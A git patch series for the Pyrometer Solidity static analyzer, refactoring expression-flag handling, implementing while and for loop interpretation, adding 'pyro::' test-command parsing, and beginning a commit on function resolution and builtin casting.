GraphError, GraphLike, IntoExprErr, - NodeIdx, RangeArena, RepresentationErr, + AnalyzerLike, ApplyStats, ExprErr, FlatExpr, GraphError, GraphLike, IntoExprErr, NodeIdx, + RangeArena, RepresentationErr, }; use ahash::AHashMap; @@ -558,7 +558,6 @@ impl AnalyzerLike for Analyzer { } type FlatExpr = FlatExpr; - type ExprFlag = ExprFlag; fn push_expr(&mut self, flat: FlatExpr) { self.flattened.push(flat); @@ -582,17 +581,4 @@ impl AnalyzerLike for Analyzer { fn expr_stack_mut(&mut self) -> &mut Vec { &mut self.flattened } - - fn set_expr_flag(&mut self, flag: ExprFlag) { - debug_assert!( - self.expr_flag.is_none(), - "overwrote expr_flag: new: {flag:?}, old: {:?}", - self.expr_flag - ); - self.expr_flag = Some(flag) - } - - fn take_expr_flag(&mut self) -> Option { - std::mem::take(&mut self.expr_flag) - } } diff --git a/crates/pyrometer/tests/test_data/repros/issue69.sol b/crates/pyrometer/tests/test_data/repros/issue69.sol index cdf47c95..5b4bd669 100644 --- a/crates/pyrometer/tests/test_data/repros/issue69.sol +++ b/crates/pyrometer/tests/test_data/repros/issue69.sol @@ -5,20 +5,20 @@ contract Test { uint256 z = x - 1; y = y - 10 + z; if (y == 69122131241245311234) { - "pyro::constraint::(y == 69122131241245311234)"; - "pyro::variable::y::range::[69122131241245311234,69122131241245311234]"; + // "pyro::constraint::(y == 69122131241245311234)"; + // "pyro::variable::y::range::[69122131241245311234,69122131241245311234]"; if (z == 6912213124124531) { - "pyro::constraint::(z == 6912213124124531)"; - "pyro::variable::z::range::[6912213124124531,6912213124124531]"; + // "pyro::constraint::(z == 6912213124124531)"; + // "pyro::variable::z::range::[6912213124124531,6912213124124531]"; number = 0; - "pyro::variable::number::range::[0,0]"; + // "pyro::variable::number::range::[0,0]"; } else { - "pyro::constraint::(z != 6912213124124531)"; + // "pyro::constraint::(z != 6912213124124531)"; number = 1; - "pyro::variable::number::range::[1,1]"; + // "pyro::variable::number::range::[1,1]"; } } else { - "pyro::constraint::(y != 69122131241245311234)"; + // "pyro::constraint::(y != 69122131241245311234)"; number = 1; } } diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index b2a0d567..016c8189 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -195,21 +195,10 @@ pub trait AnalyzerLike: GraphLike { ) -> Result, GraphError>; type FlatExpr; - type ExprFlag: Copy; fn push_expr(&mut self, flat: Self::FlatExpr); fn increment_asm_block(&mut self); fn decrement_asm_block(&mut self); fn current_asm_block(&self) -> usize; fn expr_stack(&self) -> &[Self::FlatExpr]; fn expr_stack_mut(&mut self) -> &mut Vec; - fn take_expr_flag(&mut self) -> Option; - fn set_expr_flag(&mut self, flag: Self::ExprFlag); - fn peek_expr_flag(&mut self) -> Option { - let flag = self.take_expr_flag(); - if let Some(f) = flag { - self.set_expr_flag(f); - } - - flag - } } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 71f25c6a..ed65d6de 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -1,7 +1,7 @@ use crate::{FlatYulExpr, StorageLocation}; use solang_parser::pt::{Expression, Loc, NamedArgument, Type, YulExpression}; -#[derive(Debug, Clone, Copy)] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum ExprFlag { FunctionName(usize, bool, bool), New, @@ -40,6 +40,7 @@ pub enum FlatExpr { Todo(Loc, &'static str), Emit(Loc), + TestCommand(Loc, &'static str), NamedArgument(Loc, &'static str), FunctionCallName(usize, bool, bool), @@ -325,6 +326,7 @@ impl FlatExpr { | Continue(loc, ..) | Break(loc, ..) | Return(loc, ..) + | TestCommand(loc, ..) | PostIncrement(loc, ..) | PostDecrement(loc, ..) | New(loc, ..) diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 3be05aa5..bf4369a0 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1,9 +1,10 @@ -use crate::yul::YulFuncCaller; use std::collections::BTreeMap; use crate::{ - context_builder::ContextBuilder, + context_builder::{test_command_runner::TestCommandRunner, ContextBuilder}, func_call::{func_caller::FuncCaller, internal_call::InternalFuncCaller, intrinsic_call::*}, + loops::Looper, + yul::YulFuncCaller, ExprTyParser, }; use graph::{ @@ -198,21 +199,21 @@ pub trait Flatten: }; let condition = for_cond_exprs.len(); - let for_after_each_exprs = if let Some(after_each) = maybe_for_after_each { - self.traverse_statement(after_each, unchecked); + let for_body_exprs = if let Some(body) = maybe_for_body { + self.traverse_statement(body, unchecked); self.expr_stack_mut().drain(start_len..).collect::>() } else { vec![] }; - let after_each = for_after_each_exprs.len(); + let body = for_body_exprs.len(); - let for_body_exprs = if let Some(body) = maybe_for_body { - self.traverse_statement(body, unchecked); + let for_after_each_exprs = if let Some(after_each) = maybe_for_after_each { + self.traverse_statement(after_each, unchecked); self.expr_stack_mut().drain(start_len..).collect::>() } else { vec![] }; - let body = for_after_each_exprs.len(); + let after_each = for_after_each_exprs.len(); self.push_expr(FlatExpr::For { loc: *loc, @@ -224,8 +225,8 @@ pub trait Flatten: let stack = self.expr_stack_mut(); stack.extend(for_start_exprs); stack.extend(for_cond_exprs); - stack.extend(for_after_each_exprs); stack.extend(for_body_exprs); + stack.extend(for_after_each_exprs); } DoWhile(loc, _while_stmt, _while_expr) => { self.push_expr(FlatExpr::Todo( @@ -234,6 +235,18 @@ pub trait Flatten: )); } Expression(_, expr) => { + match expr { + solang_parser::pt::Expression::StringLiteral(lits) if lits.len() == 1 => { + if lits[0].string.starts_with("pyro::") { + self.push_expr(FlatExpr::TestCommand( + lits[0].loc, + string_to_static(lits[0].string.clone()), + )); + return; + } + } + _ => {} + } self.traverse_expression(expr, unchecked); } Continue(loc) => { @@ -897,7 +910,8 @@ pub trait Flatten: loccer = stack_rev_iter.next(); } let loc = loc.unwrap_or(Loc::Implicit); - return ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc); + self.return_match(arena, ctx, loc, ExprRet::CtxKilled(KilledKind::Ended), 0); + return Ok(()); }; let next = *next; @@ -905,22 +919,22 @@ pub trait Flatten: "parsing (idx: {parse_idx}) {:?} in context {} - flag: {:?}", next, ctx.path(self), - self.peek_expr_flag() + ctx.peek_expr_flag(self) ); match next { Todo(loc, err_str) => Err(ExprErr::Todo(loc, err_str.to_string())), // Flag expressions FunctionCallName(n, is_super, named_args) => { - self.set_expr_flag(ExprFlag::FunctionName(n, is_super, named_args)); + ctx.set_expr_flag(self, ExprFlag::FunctionName(n, is_super, named_args)); Ok(()) } Negate(_) => { - self.set_expr_flag(ExprFlag::Negate); + ctx.set_expr_flag(self, ExprFlag::Negate); Ok(()) } New(_) => { - self.set_expr_flag(ExprFlag::New); + ctx.set_expr_flag(self, ExprFlag::New); Ok(()) } @@ -943,13 +957,15 @@ pub trait Flatten: // Conditional If { .. } => self.interp_if(arena, ctx, stack, next, parse_idx), Requirement(..) => { - self.set_expr_flag(ExprFlag::Requirement); + ctx.set_expr_flag(self, ExprFlag::Requirement); Ok(()) } + TestCommand(..) => self.interp_test_command(arena, ctx, next), + // Looping - While { .. } => self.interp_while(arena, ctx, stack, next, parse_idx), - For { .. } => self.interp_for(arena, ctx, stack, next, parse_idx), + While { .. } => self.interp_while(arena, ctx, stack, next), + For { .. } => self.interp_for(arena, ctx, stack, next), Continue(loc) | Break(loc) => Err(ExprErr::Todo( loc, "Control flow expressions like break and continue are not currently supported" @@ -1054,10 +1070,10 @@ pub trait Flatten: } } - if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) + if matches!(ctx.peek_expr_flag(self), Some(ExprFlag::Requirement)) && !matches!(next, Requirement(..)) { - let _ = self.take_expr_flag(); + let _ = ctx.take_expr_flag(self); let loc = next.try_loc().unwrap(); let mut lhs = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; let lhs = lhs.swap_remove(0); @@ -1071,6 +1087,21 @@ pub trait Flatten: } } + fn interp_test_command( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::TestCommand(loc, cmd_str) = next else { + unreachable!() + }; + if let Some(cmd) = self.test_string_literal(cmd_str) { + self.run_test_command(arena, ctx, cmd, loc); + } + Ok(()) + } + fn interp_bit_not( &mut self, arena: &mut RangeArena>, @@ -1130,7 +1161,7 @@ pub trait Flatten: }; let keep_member_on_stack = - matches!(self.peek_expr_flag(), Some(ExprFlag::FunctionName(..))); + matches!(ctx.peek_expr_flag(self), Some(ExprFlag::FunctionName(..))); let member = ctx .pop_n_latest_exprs(1, loc, self) @@ -1188,7 +1219,6 @@ pub trait Flatten: ctx: ContextNode, stack: &mut Vec, while_expr: FlatExpr, - parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::While { loc, @@ -1198,14 +1228,43 @@ pub trait Flatten: else { unreachable!() }; - let _ = arena; - let _ = loc; - let _ = condition; - let _ = ctx; - let _ = parse_idx; - let _ = stack; - let _ = body; - todo!() + + let loop_ctx = Context::add_loop_subctx(ctx, loc, self).into_expr_err(loc)?; + + // run the condition + if condition > 0 { + for _ in 0..condition { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + // run the body + if body > 0 { + for _ in 0..body { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + self.flat_apply_to_edges( + loop_ctx, + loc, + arena, + stack, + &|analyzer: &mut Self, + arena: &mut RangeArena>, + loop_ctx: ContextNode, + loc: Loc, + _: &mut Vec| { + analyzer.reset_vars(arena, ctx, loop_ctx, loc) + }, + )?; + + let end = ctx.parse_idx(self) + condition + body; + + self.modify_edges(ctx, loc, &|analyzer, ctx| { + ctx.underlying_mut(analyzer).unwrap().parse_idx = end; + Ok(()) + }) } fn interp_for( @@ -1214,7 +1273,6 @@ pub trait Flatten: ctx: ContextNode, stack: &mut Vec, for_expr: FlatExpr, - parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::For { loc, @@ -1226,16 +1284,63 @@ pub trait Flatten: else { unreachable!() }; - let _ = arena; - let _ = loc; - let _ = condition; - let _ = ctx; - let _ = parse_idx; - let _ = stack; - let _ = after_each; - let _ = start; - let _ = body; - todo!() + + let loop_ctx = Context::add_loop_subctx(ctx, loc, self).into_expr_err(loc)?; + + // initiate the loop variable + if start > 0 { + println!("running loop init"); + for _ in 0..start { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + // run the condition + if condition > 0 { + println!("running loop condition"); + for _ in 0..condition { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + // run the body + if body > 0 { + println!("running loop body"); + for _ in 0..body { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + // run the after each + if after_each > 0 { + println!("running loop after-each"); + for _ in 0..after_each { + self.interpret_step(arena, loop_ctx, loc, stack)?; + } + } + + println!("running loop reset vars"); + self.flat_apply_to_edges( + loop_ctx, + loc, + arena, + stack, + &|analyzer: &mut Self, + arena: &mut RangeArena>, + loop_ctx: ContextNode, + loc: Loc, + _: &mut Vec| { + analyzer.reset_vars(arena, ctx, loop_ctx, loc) + }, + )?; + + let end = ctx.parse_idx(self) + start + condition + body + after_each; + + println!("setting post-loop parse idx"); + self.modify_edges(ctx, loc, &|analyzer, ctx| { + ctx.underlying_mut(analyzer).unwrap().parse_idx = end; + Ok(()) + }) } fn interp_if( @@ -1353,8 +1458,8 @@ pub trait Flatten: let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; let [lhs, rhs] = into_sized::(res); - if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) { - self.take_expr_flag(); + if matches!(ctx.peek_expr_flag(self), Some(ExprFlag::Requirement)) { + ctx.take_expr_flag(self); match cmp { FlatExpr::Equal(..) => { self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Eq, loc) @@ -1468,8 +1573,8 @@ pub trait Flatten: unreachable!() }; - if matches!(self.peek_expr_flag(), Some(ExprFlag::FunctionName(..))) { - self.take_expr_flag(); + if matches!(ctx.peek_expr_flag(self), Some(ExprFlag::FunctionName(..))) { + ctx.take_expr_flag(self); } if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { @@ -1496,12 +1601,12 @@ pub trait Flatten: unreachable!() }; if nonempty { - let ret = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; - self.return_match(arena, ctx, &loc, ret.first().unwrap(), 0); + let mut ret = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + self.return_match(arena, ctx, loc, ret.swap_remove(0), 0); Ok(()) } else { - self.return_match(arena, ctx, &loc, &ExprRet::Null, 0); - ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc) + self.return_match(arena, ctx, loc, ExprRet::CtxKilled(KilledKind::Ended), 0); + Ok(()) } } @@ -1517,7 +1622,7 @@ pub trait Flatten: unreachable!() }; - match self.take_expr_flag() { + match ctx.take_expr_flag(self) { Some(ExprFlag::FunctionName(n, super_call, named_args)) => { let maybe_names = if named_args { let start = parse_idx + 1; @@ -1544,7 +1649,7 @@ pub trait Flatten: } } Some(other) => { - self.set_expr_flag(other); + ctx.set_expr_flag(self, other); } _ => {} } @@ -1657,9 +1762,9 @@ pub trait Flatten: .expect_single() .into_expr_err(loc)?; - let is_new_call = match self.peek_expr_flag() { + let is_new_call = match ctx.peek_expr_flag(self) { Some(ExprFlag::New) => { - let _ = self.take_expr_flag(); + let _ = ctx.take_expr_flag(self); true } _ => false, @@ -1766,11 +1871,11 @@ pub trait Flatten: lit: FlatExpr, ) -> Result<(), ExprErr> { let mut negate = false; - match self.take_expr_flag() { + match ctx.take_expr_flag(self) { Some(ExprFlag::Negate) => { negate = true; } - Some(other) => self.set_expr_flag(other), + Some(other) => ctx.set_expr_flag(self, other), _ => {} }; diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index be5b2fab..fd4fa9af 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -49,13 +49,13 @@ pub trait ContextBuilder: AnalyzerBackend &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: &Loc, - paths: &ExprRet, + loc: Loc, + paths: ExprRet, idx: usize, ) { match paths { ExprRet::CtxKilled(kind) => { - let _ = ctx.kill(self, *loc, *kind); + let _ = ctx.kill(self, loc, kind); } ExprRet::Single(expr) | ExprRet::SingleLiteral(expr) => { // construct a variable from the return type @@ -80,10 +80,10 @@ pub trait ContextBuilder: AnalyzerBackend .and_then(|i| i) }) .and_then(|i| i) - .into_expr_err(*loc); + .into_expr_err(loc); let latest = - ContextVarNode::from(*expr).latest_version_or_inherited_in_ctx(ctx, self); + ContextVarNode::from(expr).latest_version_or_inherited_in_ctx(ctx, self); match target_var { Ok(Some(target_var)) => { @@ -95,9 +95,9 @@ pub trait ContextBuilder: AnalyzerBackend target_var.ty(self).unwrap(), ); let next = self - .advance_var_in_ctx_forcible(latest, *loc, ctx, true) + .advance_var_in_ctx_forcible(latest, loc, ctx, true) .unwrap(); - let res = next.cast_from(&target_var, self, arena).into_expr_err(*loc); + let res = next.cast_from(&target_var, self, arena).into_expr_err(loc); self.add_if_err(res); } Ok(None) => {} @@ -106,7 +106,7 @@ pub trait ContextBuilder: AnalyzerBackend // let ret = self.advance_var_in_ctx(latest, *loc, *ctx); let path = ctx.path(self); - let res = latest.underlying_mut(self).into_expr_err(*loc); + let res = latest.underlying_mut(self).into_expr_err(loc); match res { Ok(var) => { tracing::trace!("Returning: {}, {}", path, var.display_name); @@ -114,7 +114,7 @@ pub trait ContextBuilder: AnalyzerBackend self.add_edge(latest, ctx, Edge::Context(ContextEdge::Return)); - let res = ctx.add_return_node(*loc, latest, self).into_expr_err(*loc); + let res = ctx.add_return_node(loc, latest, self).into_expr_err(loc); // ctx.kill(self, *loc, KilledKind::Ended); let _ = self.add_if_err(res); } @@ -122,7 +122,7 @@ pub trait ContextBuilder: AnalyzerBackend } } ExprRet::Multi(rets) => { - rets.iter().enumerate().for_each(|(i, expr_ret)| { + rets.into_iter().enumerate().for_each(|(i, expr_ret)| { self.return_match(arena, ctx, loc, expr_ret, i); }); } diff --git a/crates/solc-expressions/src/context_builder/test_command_runner.rs b/crates/solc-expressions/src/context_builder/test_command_runner.rs index 71bb755f..df449ea7 100644 --- a/crates/solc-expressions/src/context_builder/test_command_runner.rs +++ b/crates/solc-expressions/src/context_builder/test_command_runner.rs @@ -18,8 +18,8 @@ pub trait TestCommandRunner: AnalyzerBackend>, ctx: ContextNode, - loc: Loc, test_command: TestCommand, + loc: Loc, ) -> Option<()> { match test_command { TestCommand::Variable(var_name, VariableCommand::RangeAssert { min, max }) => { diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 37104c4d..ce2fde4b 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -14,12 +14,10 @@ use graph::{ }, AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, }; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; +use shared::{ExprErr, IntoExprErr, RangeArena}; use solang_parser::pt::{CodeLocation, Expression, Loc}; -use std::collections::BTreeMap; - impl FuncCaller for T where T: AnalyzerBackend + Sized + GraphBackend { @@ -28,39 +26,6 @@ impl FuncCaller for T where pub trait FuncCaller: GraphBackend + AnalyzerBackend + Sized { - /// Setups up storage variables for a function call and calls it - fn setup_fn_call( - &mut self, - arena: &mut RangeArena>, - loc: &Loc, - inputs: &ExprRet, - func_idx: NodeIdx, - ctx: ContextNode, - func_call_str: Option<&str>, - ) -> Result<(), ExprErr> { - // if we have a single match thats our function - let var = match ContextVar::maybe_from_user_ty(self, *loc, func_idx) { - Some(v) => v, - None => panic!( - "Could not create context variable from user type: {:?}", - self.node(func_idx) - ), - }; - - let new_cvarnode = self.add_node(var); - ctx.add_var(new_cvarnode.into(), self).into_expr_err(*loc)?; - self.add_edge(new_cvarnode, ctx, Edge::Context(ContextEdge::Variable)); - if let Some(func_node) = ContextVarNode::from(new_cvarnode) - .ty(self) - .into_expr_err(*loc)? - .func_node(self) - { - self.func_call(arena, ctx, *loc, inputs, func_node, func_call_str, None) - } else { - unreachable!() - } - } - /// Matches the input kinds and performs the call fn func_call( &mut self, @@ -227,7 +192,6 @@ pub trait FuncCaller: ctx, callee_ctx, func_node, - &renamed_inputs, func_call_str, ) } @@ -250,7 +214,6 @@ pub trait FuncCaller: ctx, callee_ctx, func_node, - &renamed_inputs, func_call_str, ) } @@ -267,7 +230,6 @@ pub trait FuncCaller: caller_ctx: ContextNode, callee_ctx: ContextNode, func_node: FunctionNode, - _renamed_inputs: &BTreeMap, func_call_str: Option<&str>, ) -> Result<(), ExprErr> { tracing::trace!("executing: {}", func_node.name(self).into_expr_err(loc)?); diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index 346eb868..66bf9670 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -1,5 +1,5 @@ //! Helper traits & blanket implementations that help facilitate performing function calls. -use crate::{member_access::ListAccess, variable::Variable, ContextBuilder}; +use crate::{member_access::ListAccess, variable::Variable}; use graph::{ elem::Elem, @@ -495,143 +495,9 @@ pub trait CallerHelper: AnalyzerBackend + } } - /// Inherit the input changes from a function call - fn inherit_input_changes( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - to_ctx: ContextNode, - from_ctx: ContextNode, - renamed_inputs: &BTreeMap, - ) -> Result<(), ExprErr> { - if to_ctx != from_ctx { - self.apply_to_edges(to_ctx, loc, arena, &|analyzer, arena, to_ctx, loc| { - renamed_inputs - .iter() - .try_for_each(|(input_var, updated_var)| { - let new_input = analyzer.advance_var_in_ctx( - input_var.latest_version(analyzer), - loc, - to_ctx, - )?; - let latest_updated = updated_var.latest_version(analyzer); - if let Some(updated_var_range) = - latest_updated.range(analyzer).into_expr_err(loc)? - { - let res = new_input - .set_range_min( - analyzer, - arena, - updated_var_range.range_min().into_owned(), - ) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - let res = new_input - .set_range_max( - analyzer, - arena, - updated_var_range.range_max().into_owned(), - ) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - let res = new_input - .set_range_exclusions( - analyzer, - updated_var_range.exclusions.clone(), - ) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - } - Ok(()) - }) - })?; - } - Ok(()) - } - /// Inherit the input changes from a function call fn modifier_inherit_return(&mut self, mod_ctx: ContextNode, fn_ctx: ContextNode) { let ret = fn_ctx.underlying(self).unwrap().ret.clone(); mod_ctx.underlying_mut(self).unwrap().ret = ret; } - - /// Inherit the storage changes from a function call - fn inherit_storage_changes( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - inheritor_ctx: ContextNode, - grantor_ctx: ContextNode, - ) -> Result<(), ExprErr> { - if inheritor_ctx != grantor_ctx { - return self.apply_to_edges( - inheritor_ctx, - loc, - arena, - &|analyzer, _arena, inheritor_ctx, loc| { - let vars = grantor_ctx.local_vars(analyzer).clone(); - vars.iter().try_for_each(|(name, old_var)| { - let var = old_var.latest_version(analyzer); - let underlying = var.underlying(analyzer).into_expr_err(loc)?; - if var.is_storage(analyzer).into_expr_err(loc)? { - if let Some(inheritor_var) = inheritor_ctx.var_by_name(analyzer, name) { - let inheritor_var = inheritor_var.latest_version(analyzer); - analyzer - .advance_var_in_ctx( - inheritor_var, - underlying.loc.expect("No loc for val change"), - inheritor_ctx, - ) - .unwrap(); - } else { - let new_in_inheritor = - analyzer.add_node(Node::ContextVar(underlying.clone())); - inheritor_ctx - .add_var(new_in_inheritor.into(), analyzer) - .into_expr_err(loc)?; - analyzer.add_edge( - new_in_inheritor, - inheritor_ctx, - Edge::Context(ContextEdge::Variable), - ); - analyzer.add_edge( - new_in_inheritor, - var, - Edge::Context(ContextEdge::InheritedVariable), - ); - let from_fields = - var.struct_to_fields(analyzer).into_expr_err(loc)?; - let mut struct_stack = from_fields - .into_iter() - .map(|i| (i, new_in_inheritor)) - .collect::>(); - while let Some((field, parent)) = struct_stack.pop() { - let underlying = - field.underlying(analyzer).into_expr_err(loc)?; - let new_field_in_inheritor = - analyzer.add_node(Node::ContextVar(underlying.clone())); - analyzer.add_edge( - new_field_in_inheritor, - parent, - Edge::Context(ContextEdge::AttrAccess("field")), - ); - - let sub_fields = - field.struct_to_fields(analyzer).into_expr_err(loc)?; - struct_stack.extend( - sub_fields - .into_iter() - .map(|i| (i, new_field_in_inheritor)) - .collect::>(), - ); - } - } - } - Ok(()) - }) - }, - ); - } - Ok(()) - } } diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 0d48461e..73838fda 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -167,7 +167,6 @@ pub trait ModifierCaller: ctx, new_parent_subctx, modifier_state.parent_fn, - &modifier_state.renamed_inputs, None, ) } diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index 6cdc55b2..c94ef3c3 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -1,7 +1,5 @@ -use crate::{variable::Variable, ContextBuilder, Flatten}; +use crate::variable::Variable; use graph::nodes::SubContextKind; -use graph::ContextEdge; -use graph::Edge; use graph::{ elem::Elem, @@ -10,7 +8,7 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::pt::{CodeLocation, Expression, Loc, Statement}; +use solang_parser::pt::{Expression, Loc}; impl Looper for T where T: AnalyzerBackend + Sized + GraphBackend @@ -25,63 +23,60 @@ pub trait Looper: fn reset_vars( &mut self, arena: &mut RangeArena>, + parent_ctx: ContextNode, + loop_ctx: ContextNode, loc: Loc, - ctx: ContextNode, - body: &Statement, ) -> Result<(), ExprErr> { - let og_ctx = ctx; - let subctx = Context::new_loop_subctx(ctx, loc, self).into_expr_err(loc)?; - ctx.set_child_call(subctx, self).into_expr_err(loc)?; - self.add_edge(subctx, ctx, Edge::Context(ContextEdge::Loop)); + let subctx_kind = SubContextKind::new_fn_ret(loop_ctx, parent_ctx); + let ret_ctx = Context::add_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; + loop_ctx.set_child_call(ret_ctx, self).into_expr_err(loc)?; - self.traverse_statement(body, None); - self.interpret(subctx, body.loc(), arena); - self.apply_to_edges(subctx, loc, arena, &|analyzer, arena, ctx, loc| { - let vars = subctx.local_vars(analyzer).clone(); - vars.iter().for_each(|(name, var)| { - // widen to max range - if let Some(inheritor_var) = ctx.var_by_name(analyzer, name) { - let inheritor_var = inheritor_var.latest_version(analyzer); - if let Some(r) = var - .underlying(analyzer) - .unwrap() - .ty - .default_range(analyzer) - .unwrap() - { - let new_inheritor_var = analyzer - .advance_var_in_ctx(inheritor_var, loc, ctx) - .unwrap(); - let res = new_inheritor_var - .set_range_min(analyzer, arena, r.min) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - let res = new_inheritor_var - .set_range_max(analyzer, arena, r.max) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - } + let vars = loop_ctx.local_vars(self).clone(); + vars.iter().try_for_each(|(name, var)| { + // widen to max range + if let Some(inheritor_var) = parent_ctx.var_by_name(self, name) { + let inheritor_var = inheritor_var.latest_version(self); + if let Some(r) = var + .underlying(self) + .unwrap() + .ty + .default_range(self) + .into_expr_err(loc)? + { + let new_inheritor_var = self.advance_var_in_ctx(inheritor_var, loc, ret_ctx)?; + new_inheritor_var + .set_range_min(self, arena, r.min) + .into_expr_err(loc)?; + new_inheritor_var + .set_range_max(self, arena, r.max) + .into_expr_err(loc)?; + Ok(()) + } else { + Ok(()) } - }); - - let subctx_kind = SubContextKind::new_fn_ret(ctx, og_ctx); - let sctx = Context::add_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - ctx.set_child_call(sctx, analyzer).into_expr_err(loc) - }) - } - - /// Handles a while-loop - fn while_loop( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - ctx: ContextNode, - _limiter: &Expression, - body: &Statement, - ) -> Result<(), ExprErr> { - // TODO: improve this - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - analyzer.reset_vars(arena, loc, ctx, body) + } else if var.is_storage(self).into_expr_err(loc)? { + if let Some(r) = var + .underlying(self) + .unwrap() + .ty + .default_range(self) + .into_expr_err(loc)? + { + let new_inheritor_var = + self.advance_var_in_ctx(var.latest_version(self), loc, ret_ctx)?; + new_inheritor_var + .set_range_min(self, arena, r.min) + .into_expr_err(loc)?; + new_inheritor_var + .set_range_max(self, arena, r.max) + .into_expr_err(loc)?; + Ok(()) + } else { + Ok(()) + } + } else { + Ok(()) + } }) } } From 1128db4c1233a0751b84ea7eff82e7e98b17df23 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Fri, 19 Jul 2024 16:23:35 -0700 Subject: [PATCH 22/52] improved function resolution --- crates/graph/src/graph_elements.rs | 1 + crates/graph/src/nodes/builtin.rs | 76 +- crates/graph/src/nodes/concrete.rs | 28 + crates/graph/src/nodes/context/expr_ret.rs | 13 + crates/graph/src/nodes/context/querying.rs | 2 +- crates/graph/src/nodes/contract_ty.rs | 101 ++- crates/graph/src/var_type.rs | 62 +- crates/pyrometer/src/analyzer.rs | 3 +- crates/pyrometer/src/builtin_fns.rs | 9 + crates/pyrometer/tests/test_data/cast.sol | 772 +++++++++--------- .../tests/test_data/function_calls.sol | 58 +- .../src/context_builder/flattened.rs | 84 +- .../src/func_call/func_caller.rs | 6 +- .../src/func_call/internal_call.rs | 290 ++++--- .../src/func_call/intrinsic_call/address.rs | 25 +- .../src/member_access/builtin_access.rs | 75 +- .../src/member_access/contract_access.rs | 31 +- .../src/member_access/enum_access.rs | 6 +- .../src/member_access/library_access.rs | 2 + .../src/member_access/member_trait.rs | 148 ++-- .../src/member_access/struct_access.rs | 8 +- crates/solc-expressions/src/require.rs | 4 +- 22 files changed, 1103 insertions(+), 701 deletions(-) diff --git a/crates/graph/src/graph_elements.rs b/crates/graph/src/graph_elements.rs index 681cad1b..76f398bd 100644 --- a/crates/graph/src/graph_elements.rs +++ b/crates/graph/src/graph_elements.rs @@ -104,6 +104,7 @@ pub enum Node { Block(Block), /// A yul-based function YulFunction(YulFunction), + // TODO: Handle events } pub fn as_dot_str( diff --git a/crates/graph/src/nodes/builtin.rs b/crates/graph/src/nodes/builtin.rs index 98f1080c..f374ebb0 100644 --- a/crates/graph/src/nodes/builtin.rs +++ b/crates/graph/src/nodes/builtin.rs @@ -35,6 +35,16 @@ impl BuiltInNode { } /// Checks if this builtin is implicitly castable to another builtin + pub fn castable_to( + &self, + other: &Self, + analyzer: &impl GraphBackend, + ) -> Result { + Ok(self + .underlying(analyzer)? + .castable_to(other.underlying(analyzer)?)) + } + pub fn implicitly_castable_to( &self, other: &Self, @@ -219,6 +229,44 @@ impl Builtin { builtins } + pub fn possible_upcast_builtins(&self) -> Vec { + let mut builtins = vec![]; + match self { + Builtin::Uint(size) => { + let mut s = *size; + while s <= 256 { + builtins.push(Builtin::Uint(s)); + s += 8; + } + } + Builtin::Int(size) => { + let mut s = *size; + while s <= 256 { + builtins.push(Builtin::Int(s)); + s += 8; + } + } + Builtin::Bytes(size) => { + let mut s = *size; + while s <= 32 { + 